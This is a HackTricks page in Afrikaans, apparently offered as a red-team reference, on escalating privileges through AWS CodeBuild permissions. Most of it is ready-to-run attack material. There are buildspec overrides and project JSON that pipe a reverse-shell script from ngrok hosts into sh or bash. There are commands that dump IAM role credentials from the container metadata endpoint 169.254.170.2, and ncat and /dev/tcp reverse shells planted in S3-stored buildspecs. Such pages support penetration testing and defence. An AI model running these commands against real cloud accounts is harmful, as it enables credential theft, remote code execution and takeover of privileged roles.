AWS - Codebuild Privesc

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

codebuild

Kry meer inligting by:

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

Slegs met een van hierdie permissies is dit genoeg om ’n build met ’n nuwe buildspec te begin en die token van die iam role wat aan die projek toegewys is te steel:

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

Let wel: Die verskil tussen hierdie twee opdragte is dat:

  • StartBuild veroorsaak een enkele build-taak wat ’n spesifieke buildspec.yml gebruik.
  • StartBuildBatch laat jou toe om ’n bondel builds te begin, met meer ingewikkelde konfigurasies (bv. om verskeie builds parallel te laat loop).

Potensiële impak: Direkte privesc na gekoppelde AWS Codebuild-rolle.

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

’n Aanvaller met die iam:PassRole, codebuild:CreateProject, en codebuild:StartBuild of codebuild:StartBuildBatch toestemmings sou in staat wees om bevoegdhede na enige Codebuild IAM-rol te eskaleer deur een wat loop te skep.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Potensiële impak: Direkte privesc na enige AWS Codebuild-rol.

Warning

In ’n Codebuild container bevat die lĂȘer /codebuild/output/tmp/env.sh al die env vars wat nodig is om toegang tot die metadata credentials te kry.

Hierdie lĂȘer bevat die env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI wat die URL path bevat om toegang tot die credentials te kry. Dit sal iets soos dit wees /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Voeg dit by die URL http://169.254.170.2/ en jy sal die role credentials kan dump.

Verder bevat dit ook die env variable ECS_CONTAINER_METADATA_URI wat die volledige URL bevat om metadata info oor die container te kry.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Net soos in die vorige afdeling, as jy in plaas daarvan om ’n build project te skep dit kan wysig, kan jy die IAM Role aandui en die token steel.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Potensiële impak: Direkte privesc na enige AWS Codebuild-rol.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Soos in die vorige afdeling, maar sonder die iam:PassRole-toestemming, kan jy hierdie toestemmings misbruik om bestaande Codebuild-projekte te wysig en toegang te kry tot die rol wat reeds aan hulle toegewys is.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Potensiële impak: Direkte privesc na aangehegte AWS Codebuild-rolle.

SSM

As jy genoeg toestemmings het om ’n ssm-sessie te begin, is dit moontlik om binne ’n Codebuild-projek te kom wat gebou word.

Die Codebuild-projek sal ’n breakpoint moet hĂȘ:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

En dan:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

Vir meer inligting check the docs.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

’n Aanvaller wat ’n build van ’n spesifieke CodeBuild-projek kan begin of herbegin, waarvan die buildspec.yml-lĂȘer op ’n S3-bucket gestoor word waartoe die aanvaller skryftoegang het, kan opdraguitvoering in die CodeBuild-proses kry.

Let wel: die eskalasie is slegs relevant as die CodeBuild-werker ’n ander rol het, en hopelik meer voorregte as diĂ© van die aanvaller.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Jy kan iets soos hierdie buildspec gebruik om ’n reverse shell te kry:

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: Direkte privesc na die rol wat deur die AWS CodeBuild worker gebruik word wat gewoonlik hoë voorregte het.

Warning

Let wel dat die buildspec moontlik in zip-formaat verwag word, dus sal ’n aanvaller die zip moet aflaai, unzip, die buildspec.yml uit die root directory wysig, weer zip en oplaai

More details could be found here.

Potential Impact: Direkte privesc na aangehegte AWS Codebuild rolle.

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks